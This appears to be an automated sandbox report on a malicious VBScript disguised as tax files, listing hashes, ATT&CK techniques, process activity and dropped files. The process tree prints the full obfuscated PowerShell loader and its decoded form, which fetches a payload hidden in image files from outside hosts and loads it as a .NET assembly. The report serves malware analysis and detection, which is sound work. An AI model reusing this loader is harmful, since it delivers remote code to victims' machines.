8fbe734f092fe38ef0ad6fdffe8437560a8f5251a0839c019babd195d54eb10c

General

Target

Patrick_Amanda_tax_Files.vbs
Size

22KB
MD5

9695fffacf82b213c5de3540c88d5a58
SHA1

0e6e8efb0a5b97ef35497d65957142cff1b3f098
SHA256

8fbe734f092fe38ef0ad6fdffe8437560a8f5251a0839c019babd195d54eb10c
SHA512

0ef6040615c089d0dc12a4e6acb1cf1b04e176dccfae1d9aa1347cd57502632cdec75464166ef861532ecca2584eff35e32530f8e8f1c9a42d1d250d3a761073
SSDEEP

384:vv0IEaMWsOEreJZl3MTxSiMFpWrd2Wxol4cgbD:vvhsOE0Zl3uSwzyl4Pv

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
16	2984	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4816	powershell.exe
2984	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4816	powershell.exe
4816	powershell.exe
2984	powershell.exe
2984	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4816	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4700 wrote to memory of 4816	4700	WScript.exe	87
PID 4700 wrote to memory of 4816	4700	WScript.exe	87
PID 4816 wrote to memory of 2984	4816	powershell.exe	89
PID 4816 wrote to memory of 2984	4816	powershell.exe	89

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Patrick_Amanda_tax_Files.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4700
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$codigo = 'ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#bgBh#G4#bwBz#Gg#aQBl#Gw#Z##u#H##cgBv#C8#bgBl#Hc#XwBp#G0#YQBn#GU#Mg#u#Go#c#Bn#D8#MQ#2#DY#Mw#1#DQ#Nw#y#DU#Jw#s#C##JwBo#HQ#d#Bw#HM#Og#v#C8#bgBh#G4#bwBz#Gg#Z##u#H##cgBv#C8#ZgBp#Gw#ZQBz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#LgBq#H##Zw#/#DE#N##0#DQ#MQ#3#DI#Mw#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##9#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I##k#Gw#aQBu#Gs#cw#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##LQBu#GU#I##k#G4#dQBs#Gw#KQ#g#Hs#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBU#GU#e#B0#C4#RQBu#GM#bwBk#Gk#bgBn#F0#Og#6#FU#V#BG#Dg#LgBH#GU#d#BT#HQ#cgBp#G4#Zw#o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#FM#V#BB#FI#V##+#D4#Jw#7#C##J#Bl#G4#Z#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#RQBO#EQ#Pg#+#Cc#Ow#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#KQ#7#C##DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bl#G4#Z#BG#Gw#YQBn#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#ZwB0#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Ck#I#B7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##Kw#9#C##J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bi#GE#cwBl#DY#N#BM#GU#bgBn#HQ#a##g#D0#I##k#GU#bgBk#Ek#bgBk#GU#e##g#C0#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#FM#dQBi#HM#d#By#Gk#bgBn#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#Cw#I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#GM#bwBt#G0#YQBu#GQ#QgB5#HQ#ZQBz#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#GI#YQBz#GU#Ng#0#EM#bwBt#G0#YQBu#GQ#KQ#7#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FI#ZQBm#Gw#ZQBj#HQ#aQBv#G4#LgBB#HM#cwBl#G0#YgBs#Hk#XQ#6#Do#T#Bv#GE#Z##o#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#KQ#7#C##J#B0#Hk#c#Bl#C##PQ#g#CQ#b#Bv#GE#Z#Bl#GQ#QQBz#HM#ZQBt#GI#b#B5#C4#RwBl#HQ#V#B5#H##ZQ#o#Cc#d#Bl#HM#d#Bw#G8#dwBl#HI#cwBo#GU#b#Bs#C4#S#Bv#G0#ZQ#n#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bt#GU#d#Bo#G8#Z##g#D0#I##k#HQ#eQBw#GU#LgBH#GU#d#BN#GU#d#Bo#G8#Z##o#Cc#b#Bh#Cc#KQ#u#Ek#bgB2#G8#awBl#Cg#J#Bu#HU#b#Bs#Cw#I#Bb#G8#YgBq#GU#YwB0#Fs#XQBd#C##K##n#HQ#e#B0#C4#YgBu#G4#awBw#GQ#c##v#HM#ZQBs#Gk#Zg#v#G8#cgBw#C4#Z#Bs#GU#aQBo#HM#bwBu#GE#bg#v#C8#OgBz#H##d#B0#Gg#Jw#s#C##Jw#x#Cc#L##g#Cc#VwBp#G4#RgB1#HM#aQBv#G4#Jw#p#Ck#fQB9##==';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('#','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4816
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://nanoshield.pro/new_image2.jpg?166354725', 'https://nanoshd.pro/files/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.bnnkpdp/selif/orp.dleihsonan//:sptth', '1', 'WinFusion'))}}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
158a72355ea99a8bc04d0b6a380cc97c

SHA1
750fff9e378ca754a4534371e54624f7e90b796f

SHA256
c9bca1d35338ab02327f105d6a49f182c266f956bf9b345690f405057728802c

SHA512
0f803f3ea81f115621805dc4d1958123a8001540355988a670a69b5e0b1ec85203bc57af31ca55d38cb3912c255af1aaea284faced7628ea9ccdd2beaac4f545

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xuayzsm0.4dw.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4816-0-0x00007FF80FF83000-0x00007FF80FF85000-memory.dmp

Filesize
8KB

Download
memory/4816-1-0x000001BA6FF50000-0x000001BA6FF72000-memory.dmp

Filesize
136KB

Download
memory/4816-11-0x00007FF80FF80000-0x00007FF810A41000-memory.dmp

Filesize
10.8MB

Download
memory/4816-12-0x00007FF80FF80000-0x00007FF810A41000-memory.dmp

Filesize
10.8MB

Download
memory/4816-27-0x00007FF80FF80000-0x00007FF810A41000-memory.dmp

Filesize
10.8MB

Download

Analysis

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